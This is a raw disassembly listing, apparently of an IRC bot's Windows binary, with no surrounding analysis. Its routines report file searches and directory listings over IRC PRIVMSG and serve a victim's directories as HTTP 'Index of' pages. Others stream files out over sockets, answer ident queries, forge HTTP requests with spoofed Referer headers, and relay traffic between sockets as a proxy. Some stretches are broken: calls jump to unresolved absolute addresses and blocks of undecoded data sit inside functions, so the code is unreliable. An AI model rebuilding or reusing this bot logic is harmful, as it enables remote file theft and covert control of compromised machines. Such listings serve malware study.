sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_594]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_41B590
mov edi, [ebp+arg_0]
push offset asc_429998 ; "\n"
push edi
call sub_41C0F4
add esp, 14h
cmp [ebp+arg_8], ebx
jz short loc_40F9C9
push edi
mov esi, 200h
push [ebp+arg_8]
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_41B980
add esp, 14h
jmp loc_40FAC8
; ---------------------------------------------------------------------------
loc_40F9C9: ; CODE XREF: sub_40F96A+3Aj
cmp [ebp+arg_C], ebx
push edi
jz loc_40FAAE
call sub_41AFE0
pop ecx
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
push edi
call sub_41AFE0
pop ecx
mov byte ptr [eax+edi], 2Ah
push 3Ch
push 96h
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 18h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 0Ch
jmp short loc_40FAC8
; ---------------------------------------------------------------------------
loc_40FAAE: ; CODE XREF: sub_40F96A+63j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 10h
loc_40FAC8: ; CODE XREF: sub_40F96A+5Aj
; sub_40F96A+142j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
cmp [ebp+arg_C], ebx
jz short loc_40FB63
push [ebp+arg_C]
call sub_41AFE0
cmp eax, 2
pop ecx
jbe short loc_40FB63
push [ebp+arg_C]
call sub_41AFE0
sub eax, 3
pop ecx
jz short loc_40FB14
loc_40FB08: ; CODE XREF: sub_40F96A+1A8j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_40FB14
dec eax
jnz short loc_40FB08
loc_40FB14: ; CODE XREF: sub_40F96A+19Cj
; sub_40F96A+1A5j
inc eax
push eax
lea eax, [ebp+var_594]
push [ebp+arg_C]
push eax
call sub_41B5F0
add esp, 0Ch
lea eax, [ebp+var_594]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
loc_40FB63: ; CODE XREF: sub_40F96A+180j
; sub_40F96A+18Ej
lea eax, [ebp+var_388]
push eax
push edi
nop
call near ptr 25C0000h
lea ecx, [ebp+var_388]
mov [ebp+arg_0], eax
push ecx
push eax
nop
call near ptr 2760000h
test eax, eax
jz loc_40FF53
mov edi, 1FFh
loc_40FB8F: ; CODE XREF: sub_40F96A+5E3j
cmp [ebp+var_388], ebx
jz loc_40FF3B
lea eax, [ebp+var_35C]
push offset a__ ; ".."
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40FF3B
lea eax, [ebp+var_35C]
push offset a_ ; "."
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40FF3B
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
call near ptr 2750000h
nop
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
nop
call near ptr 274077Fh
mov ax, [ebp+var_10]
mov ecx, offset aPm ; "PM"
cmp ax, 0Ch
ja short loc_40FC04
mov ecx, offset aAm ; "AM"
loc_40FC04: ; CODE XREF: sub_40F96A+293j
cmp ax, 0Ch
movzx eax, ax
jbe short loc_40FC10
sub eax, 0Ch
loc_40FC10: ; CODE XREF: sub_40F96A+2A1j
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+var_48]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_41B886
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_40FDB3
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_40FC84
lea eax, [ebp+var_35C]
push eax
push offset aS ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
jmp loc_40FEFC
; ---------------------------------------------------------------------------
loc_40FC84: ; CODE XREF: sub_40F96A+2E0j
cmp [ebp+arg_C], ebx
jz loc_40FD6E
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_0 ; "%s%s/"
push edi
push eax
call sub_41B980
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
lea eax, [ebp+var_35C]
push eax
call sub_41AFE0
cmp eax, 1Eh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_40FD24
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_40FD29
; ---------------------------------------------------------------------------
loc_40FD24: ; CODE XREF: sub_40F96A+3B1j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_40FD29: ; CODE XREF: sub_40F96A+3B8j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_40FEFD
; ---------------------------------------------------------------------------
loc_40FD6E: ; CODE XREF: sub_40F96A+31Dj
lea eax, [ebp+var_35C]
push eax
push offset aS ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 14h
jmp loc_40FF0C
; ---------------------------------------------------------------------------
loc_40FDB3: ; CODE XREF: sub_40F96A+2D4j
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_40FDF2
push ebx
push [ebp+var_368]
call sub_416922
pop ecx
pop ecx
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
push esi
loc_40FDDE: ; CODE XREF: sub_40F96A+577j
lea eax, [ebp+var_248]
push eax
call sub_41B980
add esp, 1Ch
jmp loc_40FF0C
; ---------------------------------------------------------------------------
loc_40FDF2: ; CODE XREF: sub_40F96A+44Fj
cmp [ebp+arg_C], ebx
jz loc_40FEE6
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset dword_4293C4
push edi
push eax
call sub_41B980
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
lea eax, [ebp+var_35C]
push eax
call sub_41AFE0
cmp eax, 1Fh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_40FE92
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_40FE97
; ---------------------------------------------------------------------------
loc_40FE92: ; CODE XREF: sub_40F96A+51Fj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_40FE97: ; CODE XREF: sub_40F96A+526j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_40FDDE
; ---------------------------------------------------------------------------
loc_40FEE6: ; CODE XREF: sub_40F96A+48Bj
push [ebp+var_368]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
loc_40FEFC: ; CODE XREF: sub_40F96A+315j
push esi
loc_40FEFD: ; CODE XREF: sub_40F96A+3FFj
lea eax, [ebp+var_248]
push eax
call sub_41B980
add esp, 18h
loc_40FF0C: ; CODE XREF: sub_40F96A+444j
; sub_40F96A+483j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
cmp [ebp+arg_8], ebx
jz short loc_40FF3B
push 7D0h
nop
call near ptr 2660F2Dh
loc_40FF3B: ; CODE XREF: sub_40F96A+22Bj
; sub_40F96A+246j ...
lea eax, [ebp+var_388]
push eax
push [ebp+arg_0]
nop
call near ptr 2760000h
test eax, eax
jnz loc_40FB8F
loc_40FF53: ; CODE XREF: sub_40F96A+21Aj
push [ebp+arg_0]
nop
call near ptr 2740000h
cmp [ebp+arg_8], ebx
jz short loc_40FF96
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_416922
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_416922
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_41B886
add esp, 14h
jmp short loc_40FFCA
; ---------------------------------------------------------------------------
loc_40FF96: ; CODE XREF: sub_40F96A+5F5j
cmp [ebp+arg_C], ebx
jz short loc_40FFB0
lea eax, [ebp+var_248]
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_41B886
pop ecx
pop ecx
jmp short loc_40FFCA
; ---------------------------------------------------------------------------
loc_40FFB0: ; CODE XREF: sub_40F96A+62Fj
push [ebp+var_8]
lea eax, [ebp+var_248]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_41B886
add esp, 10h
loc_40FFCA: ; CODE XREF: sub_40F96A+62Aj
; sub_40F96A+644j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_40F96A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FFF0 proc near ; CODE XREF: sub_40F530+13Cp
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
nop
call near ptr 27008BBh
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_4100A8
push esi
push ebx
nop
call near ptr 2730CD7h
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_4100A1
loc_410035: ; CODE XREF: sub_40FFF0+AFj
push 400h
lea eax, [ebp+var_404]
push esi
push eax
call sub_41B590
add esp, 0Ch
cmp edi, [ebp+arg_4]
loc_41004D: ; DATA XREF: ___:00437A38o
; ___:00437A4Co
jbe short loc_410052
mov edi, [ebp+arg_4]
loc_410052: ; CODE XREF: sub_40FFF0:loc_41004Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
nop
call near ptr 2770000h
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
nop
call near ptr 2700000h
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call dword_4CAFC4
cmp eax, 0FFFFFFFFh
jnz short loc_41009C
call dword_4CAF08
cmp eax, 2733h
jnz short loc_4100A1
xor eax, eax
loc_41009C: ; CODE XREF: sub_40FFF0+9Bj
sub [ebp+arg_4], eax
jnz short loc_410035
loc_4100A1: ; CODE XREF: sub_40FFF0+43j
; sub_40FFF0+A8j
push ebx
call near ptr 26509C6h
nop
loc_4100A8: ; CODE XREF: sub_40FFF0+30j
pop edi
pop esi
pop ebx
leave
retn
sub_40FFF0 endp
; =============== S U B R O U T I N E =======================================
sub_4100AD proc near ; CODE XREF: sub_40F6B3+181p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_41AFE0
test eax, eax
pop ecx
jbe short loc_4100D6
loc_4100C0: ; CODE XREF: sub_4100AD+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_4100CA
mov byte ptr [esi+edi], 2Fh
loc_4100CA: ; CODE XREF: sub_4100AD+17j
push edi
inc esi
call sub_41AFE0
cmp esi, eax
pop ecx
jb short loc_4100C0
loc_4100D6: ; CODE XREF: sub_4100AD+11j
mov eax, edi
pop edi
pop esi
retn
sub_4100AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4100DB proc near ; CODE XREF: sub_401ACD+5297p
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call dword_4CAEE4
push 6
push 1
push 2
call dword_4CAFF4
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_14]
call dword_4CAF74
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_40AAF9
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_4CAF1C
cmp eax, 0FFFFFFFFh
jz short loc_4101B8
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_410154
mov eax, offset dword_43D128
loc_410154: ; CODE XREF: sub_4100DB+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_41B980
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call dword_4CAFC4
push esi
lea eax, [ebp+var_110]
push edi
push eax
call sub_41C310
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call dword_4CAF8C
pop esi
loc_4101B8: ; CODE XREF: sub_4100DB+6Bj
push ebx
call dword_4CB00C
call dword_4CAECC
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_41B886
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_4101F8
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_4101F8: ; CODE XREF: sub_4100DB+102j
pop edi
pop ebx
leave
retn
sub_4100DB endp
; ---------------------------------------------------------------------------
loc_4101FC: ; DATA XREF: ___:00401666o
; sub_401ACD+4369o
push ebp
mov ebp, esp
sub esp, 238h
push ebx
push esi
push edi
push 10h
pop edi
xor esi, esi
push edi
lea eax, [ebp-1Ch]
push esi
push eax
mov [ebp-8], esi
call sub_41B590
add esp, 0Ch
mov word ptr [ebp-1Ch], 2
push 71h
call dword_4CAF74
push esi
push 1
push 2
mov [ebp-1Ah], ax
mov [ebp-18h], esi
call dword_4CAFF4
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_410360
mov eax, [ebp+8]
push edi
imul eax, 234h
mov dword_43DEBC[eax], ebx
lea eax, [ebp-1Ch]
push eax
push ebx
call dword_4CAFA0
cmp eax, 0FFFFFFFFh
jz loc_410360
push 5
push ebx
call dword_4CAF9C
cmp eax, 0FFFFFFFFh
jz loc_410360
mov [ebp-0Ch], edi
mov edi, 200h
loc_410287: ; CODE XREF: ___:004102E6j
; ___:00410349j ...
lea eax, [ebp-0Ch]
push eax
lea eax, [ebp-2Ch]
push eax
push ebx
call dword_4CB008
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jz loc_41035B
movzx eax, word ptr [ebp-2Ah]
push eax
push dword ptr [ebp-28h]
call dword_4CB000
push eax
lea eax, [ebp-238h]
push offset dword_433F9C
push eax
call sub_41B886
lea eax, [ebp-238h]
push eax
call sub_4151AC
add esp, 14h
lea eax, [ebp-238h]
push esi
push edi
push eax
push dword ptr [ebp-4]
call dword_4CAF8C
cmp eax, 0FFFFFFFFh
jz short loc_410287
lea eax, [ebp-238h]
push esi
push eax
call sub_417F7F
push 0Ch
lea eax, [ebp-38h]
push esi
push eax
call sub_41B590
push esi
push esi
lea eax, [ebp-38h]
push 2
push eax
call sub_40B08D
add esp, 24h
push eax
push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n"
lea eax, [ebp-238h]
push edi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp-238h]
push esi
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp-238h]
push eax
push dword ptr [ebp-4]
call dword_4CAFC4
cmp eax, 0FFFFFFFFh
jz loc_410287
mov dword ptr [ebp-8], 1
jmp loc_410287
; ---------------------------------------------------------------------------
loc_41035B: ; CODE XREF: ___:0041029Cj
cmp [ebp-8], esi
jnz short loc_410387
loc_410360: ; CODE XREF: ___:00410243j
; ___:00410267j ...
call dword_4CAF08
push eax
lea eax, [ebp-238h]
push offset dword_433F58
push eax
call sub_41B886
lea eax, [ebp-238h]
push eax
call sub_4151AC
add esp, 10h
loc_410387: ; CODE XREF: ___:0041035Ej
push ebx
call dword_4CB00C
push dword ptr [ebp-4]
call dword_4CB00C
push dword ptr [ebp+8]
call sub_40B412
pop ecx
push esi
nop
call near ptr 26D0000h
pop edi
pop esi
pop ebx
loc_4103AA: ; DATA XREF: sub_401ACD+613Bo
push ebp
mov ebp, esp
sub esp, 350h
mov eax, [ebp+8]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-150h]
push 10h
rep movsd
pop edi
mov dword ptr [eax+120h], 1
xor esi, esi
push edi
lea eax, [ebp-14h]
push esi
push eax
call sub_41B590
add esp, 0Ch
mov word ptr [ebp-14h], 2
push dword ptr [ebp-44h]
call dword_4CAF74
push 6
push 1
push 2
mov [ebp-12h], ax
mov [ebp-10h], esi
mov [ebp-4], edi
call dword_4CAFF4
cmp eax, 0FFFFFFFFh
mov [ebp+8], eax
jz loc_410516
mov ecx, [ebp-40h]
push 1
imul ecx, 234h
push 401h
push esi
push eax
mov dword_43DEBC[ecx], eax
call dword_4CAE84
lea eax, [ebp-14h]
push edi
push eax
push dword ptr [ebp+8]
call dword_4CAFA0
test eax, eax
jnz loc_410516
push 0Ah
push dword ptr [ebp+8]
call dword_4CAF9C
test eax, eax
jnz loc_410516
loc_41045A: ; CODE XREF: ___:00410470j
lea eax, [ebp-4]
push eax
lea eax, [ebp-28h]
push eax
push dword ptr [ebp+8]
call dword_4CB008
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_41045A
movzx eax, word ptr [ebp-26h]
push dword ptr [ebp-40h]
mov [ebp-14Ch], edi
mov [ebp-30h], esi
push eax
push dword ptr [ebp-24h]
call dword_4CB000
push eax
lea eax, [ebp-350h]
push offset unk_434004
push eax
call sub_41B886
push edi
lea eax, [ebp-350h]
push 18h
push eax
call sub_40B0F6
mov [ebp-3Ch], eax
imul eax, 234h
mov ecx, [ebp-40h]
add esp, 20h
mov dword_43DEB4[eax], ecx
lea eax, [ebp-18h]
push eax
lea eax, [ebp-150h]
push esi
push eax
push offset loc_41053B
push esi
push esi
nop
; ---------------------------------------------------------------------------
dw 25E8h
dd 8B0225FBh, 0C969C44Dh, 234h, 8189C63Bh, 43DEC4h, 75391374h
dd 63850FD0h, 6AFFFFFFh, 2EE89032h, 0EB02250Ah, 391E8EDh
dd 50900226h, 433FC868h, 4D0EE800h, 59590000h
; ---------------------------------------------------------------------------
jmp short loc_410519
; ---------------------------------------------------------------------------
loc_410516: ; CODE XREF: ___:0041040Dj
; ___:00410441j ...
mov edi, [ebp+8]
loc_410519: ; CODE XREF: ___:00410514j
push edi
call dword_4CB00C
push dword ptr [ebp+8]
call dword_4CB00C
push dword ptr [ebp-40h]
call sub_40B412
pop ecx
push esi
nop
call near ptr 26D0000h
pop edi
pop esi
loc_41053B: ; DATA XREF: ___:004104CEo
push ebp
mov ebp, esp
mov eax, 1344h
call sub_41BB20
mov eax, [ebp+8]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp-144h]
rep movsd
mov ebx, [ebp-30h]
push 1
pop ecx
mov [ebp-4], ebx
push 6
push ecx
push 2
mov [eax+120h], ecx
call dword_4CAFF4
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+8], esi
jz loc_4106F1
push 10h
lea eax, [ebp-18h]
push edi
push eax
call sub_41B590
add esp, 0Ch
mov word ptr [ebp-18h], 2
push dword ptr [ebp-3Ch]
call dword_4CAF74
mov [ebp-16h], ax
lea eax, [ebp-13Ch]
push eax
call dword_4CAFB4
cmp eax, 0FFFFFFFFh
mov [ebp-8], eax
jnz short loc_4105CB
lea eax, [ebp-13Ch]
push eax
call dword_4CAFF8
jmp short loc_4105D9
; ---------------------------------------------------------------------------
loc_4105CB: ; CODE XREF: ___:004105BAj
push 2
lea eax, [ebp-8]
push 4
push eax
call dword_4CAF2C
loc_4105D9: ; CODE XREF: ___:004105C9j
cmp eax, edi
jz loc_4106F1
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp-14h], eax
lea eax, [ebp-18h]
push eax
push esi
call dword_4CAF1C
cmp eax, 0FFFFFFFFh
jz loc_4106F1
movzx eax, word ptr [ebp-16h]
push dword ptr [ebp-34h]
mov [ebp-20h], edi
push eax
push dword ptr [ebp-14h]
call dword_4CB000
push eax
lea eax, [ebp-344h]
push offset unk_43408C
push eax
call sub_41B886
push esi
lea eax, [ebp-344h]
push 18h
push eax
call sub_40B0F6
imul ebx, 234h
mov [ebp-30h], eax
imul eax, 234h
mov ecx, [ebp-34h]
lea esi, dword_43DEBC[ebx]
mov dword_43DEB4[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_43DEC0[eax], ecx
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-144h]
push edi
push eax
push offset loc_410722
push edi
push edi
nop
call near ptr 2670000h
mov ecx, [ebp-30h]
imul ecx, 234h
cmp eax, edi
mov dword_43DEC4[ecx], eax
jz short loc_4106DE
loc_41068B: ; CODE XREF: ___:00410698j
cmp [ebp-20h], edi
jnz short loc_41069A
push 32h
call near ptr 2660F2Dh
nop
jmp short loc_41068B
; ---------------------------------------------------------------------------
loc_41069A: ; CODE XREF: ___:0041068Ej
mov ebx, 1000h
loc_41069F: ; CODE XREF: ___:004106DAj
push ebx
lea eax, [ebp-1344h]
push edi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp-1344h]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_4CAF8C
cmp eax, edi
jle short loc_4106F1
push edi
push eax
lea eax, [ebp-1344h]
push eax
push dword ptr [ebp+8]
call dword_4CAFC4
cmp eax, 0FFFFFFFFh
jnz short loc_41069F
jmp short loc_4106F1
; ---------------------------------------------------------------------------
loc_4106DE: ; CODE XREF: ___:00410689j
call near ptr 2670897h
nop
push eax
push offset unk_43404C
call sub_415220
pop ecx
pop ecx
loc_4106F1: ; CODE XREF: ___:0041057Fj
; ___:004105DBj ...
mov eax, [ebp-4]
imul eax, 234h
push dword_43DEBC[eax]
call dword_4CB00C
push dword ptr [ebp+8]
call dword_4CB00C
push dword ptr [ebp-4]
call sub_40B412
pop ecx
push edi
nop
call near ptr 26D0000h
pop edi
pop esi
pop ebx
loc_410722: ; DATA XREF: ___:0041066Bo
push ebp
mov ebp, esp
mov eax, 1128h
call sub_41BB20
mov eax, [ebp+8]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-128h]
rep movsd
mov esi, [ebp-14h]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_410759: ; CODE XREF: ___:0041079Ej
push edi
lea eax, [ebp-1128h]
push 0
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp-1128h]
push 0
push edi
push eax
push dword_43DEC0[esi]
call dword_4CAF8C
test eax, eax
jle short loc_4107A0
push 0
push eax
lea eax, [ebp-1128h]
push eax
push dword_43DEBC[esi]
call dword_4CAFC4
cmp eax, 0FFFFFFFFh
jnz short loc_410759
loc_4107A0: ; CODE XREF: ___:00410783j
push dword_43DEC0[esi]
call dword_4CB00C
push dword ptr [ebp-14h]
call sub_40B412
pop ecx
push 0
nop
; ---------------------------------------------------------------------------
dd 2BF843E8h
; ---------------------------------------------------------------------------
add bl, [edi+5Eh]
push ebp
mov ebp, esp
sub esp, 3D4h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 78h
mov esi, eax
pop ecx
lea edi, [ebp-3D4h]
push 1
mov dword ptr [ebp-0Ch], 1Eh
pop ebx
rep movsd
mov [eax+1DCh], ebx
mov eax, [ebp-208h]
mov [ebp+8], eax
imul eax, 234h
lea esi, dword_43DEBC[eax]
xor edi, edi
mov [ebp-8], edi
mov [ebp-1F4h], ebx
mov eax, [esi]
mov [ebp-1F0h], eax
lea eax, [ebp-0Ch]
push eax
push edi
lea eax, [ebp-1F4h]
push edi
push eax
push edi
call dword_4CAF5C
test eax, eax
jnz short loc_410843
push dword ptr [esi]
call dword_4CB00C
push dword ptr [ebp+8]
call sub_40B412
pop ecx
push edi
nop
call near ptr 26D0000h
loc_410843: ; CODE XREF: ___:00410829j
push edi
lea eax, [ebp-3Ch]
push ebx
push eax
push dword ptr [esi]
call dword_4CAF8C
lea eax, [ebp-2Ch]
push 10h
push eax
push dword ptr [esi]
call sub_4109C4
lea eax, [ebp-4Ch]
push 10h
push eax
push dword ptr [esi]
call sub_4109C4
lea eax, [ebp-0F0h]
push 40h
push eax
push dword ptr [esi]
call sub_4109C4
add esp, 24h
lea eax, [ebp-4]
mov dword ptr [ebp-4], 10h
push eax
lea eax, [ebp-1Ch]
push eax
push dword ptr [esi]
call dword_4CAEC8
test eax, eax
jz short loc_4108BC
call dword_4CAF08
push eax
push offset unk_434164
call sub_415220
push dword ptr [ebp+8]
call sub_40B412
add esp, 0Ch
push edi
call near ptr 26D0000h
